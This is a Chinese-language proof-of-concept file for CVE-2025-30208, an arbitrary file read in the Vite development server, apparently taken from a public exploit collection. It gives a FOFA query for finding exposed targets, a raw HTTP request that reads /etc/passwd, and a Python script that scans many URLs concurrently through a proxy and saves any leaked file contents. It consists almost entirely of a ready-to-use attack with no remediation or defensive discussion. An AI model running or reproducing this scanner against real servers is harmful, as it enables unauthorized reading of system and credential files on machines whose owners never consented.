POC/wpoc/Vite开发服务器/Vite开发服务器任意文件读取漏洞(CVE-2025-30208).md

Vite开发服务器任意文件读取漏洞(CVE-2025-30208)

fofa

body="/@vite/client"

POC

GET /@fs/etc/passwd?import&raw?? HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 94

python脚本

import requests
import argparse
import urllib3
import concurrent.futures
import re
import time
from urllib.parse import urljoin
from colorama import Fore, Style, init

# 初始化 colorama（使其在 Windows 中也能支持颜色）
init(autoreset=True)

# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 最大重试次数
RETRY_LIMIT = 3

def sanitize_filename(url):
    """ 清理 URL 作为文件名，防止非法字符 """
    safe_name = re.sub(r'[^\w\-]', '_', url)  # 替换非法字符
    safe_name = re.sub(r'_+', '_', safe_name)  # 去重 `_`
    safe_name = safe_name.strip('_')  # 移除开头/结尾的 `_`
    return safe_name

def fetch_url(url, proxy, retries=0):
    """ 访问 URL，支持重试 """
    proxies = {"http": proxy, "https": proxy} if proxy else None
    try:
        response = requests.get(url, timeout=5, verify=False, proxies=proxies, allow_redirects=False)
        if response.status_code == 200:
            return response.text
        else:
            print(f"[FAIL] {url} returned {response.status_code}")
            return None
    except requests.exceptions.ConnectionError:
        if retries < RETRY_LIMIT:
            wait_time = 2 ** retries  # 指数退避
            print(f"[ERROR] connect error to {url} - Retrying...")
            time.sleep(wait_time)
            return fetch_url(url, proxy, retries + 1)
        else:
            print(f"[ERROR] connect error to {url} after {RETRY_LIMIT} retries")
            return None
    except requests.exceptions.RequestException:
        if retries < RETRY_LIMIT:
            wait_time = 2 ** retries  # 指数退避
            print(f"[ERROR] connect error to {url} - Retrying...")
            time.sleep(wait_time)
            return fetch_url(url, proxy, retries + 1)
        else:
            print(f"[ERROR] connect error to {url} after {RETRY_LIMIT} retries")
            return None

def check_url(base_url, paths, proxy, output_file):
    """ 遍历多个路径，拼接 URL 并检查是否能访问 """
    results = []
    with concurrent.futures.ThreadPoolExecutor() as executor:
        futures = {}
        for path in paths:
            url = urljoin(base_url, path)
            if "?raw" not in url:
                url += "?raw"
            
            futures[executor.submit(fetch_url, url, proxy)] = url  # 为每个路径提交并发请求
            
        for future in concurrent.futures.as_completed(futures):
            url = futures[future]
            content = future.result()
            if content:
                if "/etc/passwd" in url:  # 如果是 /etc/passwd 路径，仅显示 SUCCESS
                    print(f"[{Fore.RED}SUCCESS{Style.RESET_ALL}] {url}")
                elif "/root:/bin/bash" in content:  # 如果包含 /root:/bin/bash，成功并保存到文件
                    result = f"[{Fore.RED}SUCCESS{Style.RESET_ALL}] {url}"
                    print(result)
                    # 输出到 output.txt 文件（追加模式）
                    output_file.write(result + "\n")
                    output_file.write(content + "\n")
                    results.append(result)
                else:
                    print(f"[FAIL] {url} does not contain expected content")
    return results

def check_urls_from_file(file_path, paths, proxy):
    """ 读取 URL 文件，并使用线程池并发检查 """
    with open(file_path, 'r') as file:
        links = [line.strip() for line in file.readlines()]

    print(f"[INFO] Processing {len(links)} base URLs with concurrent requests.")

    # 打开 output.txt 文件（以追加模式）
    with open("output.txt", "a") as output_file:
        results = []
        with concurrent.futures.ThreadPoolExecutor() as executor:
            futures = {executor.submit(check_url, link, paths, proxy, output_file): link for link in links}
            for future in concurrent.futures.as_completed(futures):
                result = future.result()
                if result:
                    results.extend(result)

def check_urls_from_dict(paths, proxy):
    """ 仅使用 -d 参数时，直接检查路径字典 """
    print(f"[INFO] Processing {len(paths)} paths concurrently.")
    
    results = []
    with open("output.txt", "a") as output_file:  # 以追加模式打开 output.txt
        with concurrent.futures.ThreadPoolExecutor() as executor:
            futures = {}
            for path in paths:
                futures[executor.submit(fetch_url, path, proxy)] = path
            
            for future in concurrent.futures.as_completed(futures):
                path = futures[future]
                content = future.result()
                if content:
                    if "/etc/passwd" in path:  # 如果是 /etc/passwd 路径，仅显示 SUCCESS
                        print(f"[{Fore.RED}SUCCESS{Style.RESET_ALL}] {path}")
                    elif "/root:/bin/bash" in content:  # 如果包含 /root:/bin/bash，成功并保存到文件
                        result = f"[{Fore.RED}SUCCESS{Style.RESET_ALL}] {path}"
                        print(result)
                        # 输出到 output.txt 文件（追加模式）
                        output_file.write(result + "\n")
                        output_file.write(content + "\n")
                        results.append(result)
                    else:
                        print(f"[FAIL] {path} does not contain expected content")
    return results

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Batch check access to multiple paths on multiple links")
    parser.add_argument("-f", "--file", help="File containing base links")
    parser.add_argument("-u", "--url", help="Target URL")
    parser.add_argument("-p", "--payload", default='/etc/passwd', help="Target file path")
    parser.add_argument("-d", "--dict", help="File containing list of paths to append to base URL")
    parser.add_argument("--proxy", help="Proxy server (e.g., http://proxy:port)")
    args = parser.parse_args()

    paths = []
    if args.dict:
        with open(args.dict, 'r') as dict_file:
            paths = [line.strip() for line in dict_file.readlines()]
    else:
        paths.append(args.payload)

    # 处理单个 URL
    if args.url:
        check_url(args.url, paths, args.proxy, None)
    # 处理多个 URL
    elif args.file:
        check_urls_from_file(args.file, paths, args.proxy)
    # 处理 -d 参数，单独加速路径检查
    elif args.dict:
        check_urls_from_dict(paths, args.proxy)
    else:
        print("Usage: python3 script.py -h")